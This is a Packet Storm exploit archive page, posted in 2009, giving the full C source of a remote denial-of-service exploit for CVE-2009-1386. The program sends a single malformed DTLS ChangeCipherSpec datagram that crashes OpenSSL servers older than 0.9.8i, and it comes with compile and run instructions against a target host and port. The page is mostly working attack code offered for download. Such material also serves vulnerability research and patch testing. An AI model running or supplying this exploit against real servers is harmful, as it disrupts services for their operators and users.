exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenSSL 0.9.8.h DTLS Denial Of Service

OpenSSL 0.9.8.h DTLS Denial Of Service
Posted Jun 4, 2009
Authored by Jon Oberheide

OpenSSL versions below 0.9.8i DTLS ChangeCipherSpec remote denial of service exploit.

tags | exploit, remote, denial of service
advisories | CVE-2009-1386
SHA-256 | c423dfdd2b8cf9bdc5f6306e55b415b44cbfafa64e6fbbae22549b1a42b3810c

OpenSSL 0.9.8.h DTLS Denial Of Service

Change Mirror Download
/*
* cve-2009-1386.c
*
* OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
*
* OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
* the first record instead of ClientHello.
*
* Usage:
*
* Pass the host and port of the target DTLS server:
*
* $ gcc cve-2009-1386.c -o cve-2009-1386
* $ ./cve-2009-1386 1.2.3.4 666
*
* Notes:
*
* Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this
* only requires a single ChangeCipherSpec datagram, but affects an older
* version of OpenSSL.
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

int
main(int argc, char **argv)
{
int sock, ret;
char *ptr, *err;
struct hostent *h;
struct sockaddr_in target;
char buf[64];

if (argc < 3) {
err = "Pass the host and port of the target DTLS server";
printf("[-] Error: %s\n", err);
exit(1);
}

h = gethostbyname(argv[1]);
if (!h) {
err = "Unknown host specified";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}

target.sin_family = h->h_addrtype;
memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
target.sin_port = htons(atoi(argv[2]));

sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) {
err = "Failed creating UDP socket";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}

ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
if (ret == -1) {
err = "Failed to connect socket";
printf("[-] Error: %s (%s)\n", err, strerror(errno));
exit(1);
}

memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);

printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);

send(sock, buf, 14, 0);

close(sock);

return 0;
}


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    113 Files
  • 2
    Sep 2nd
    0 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close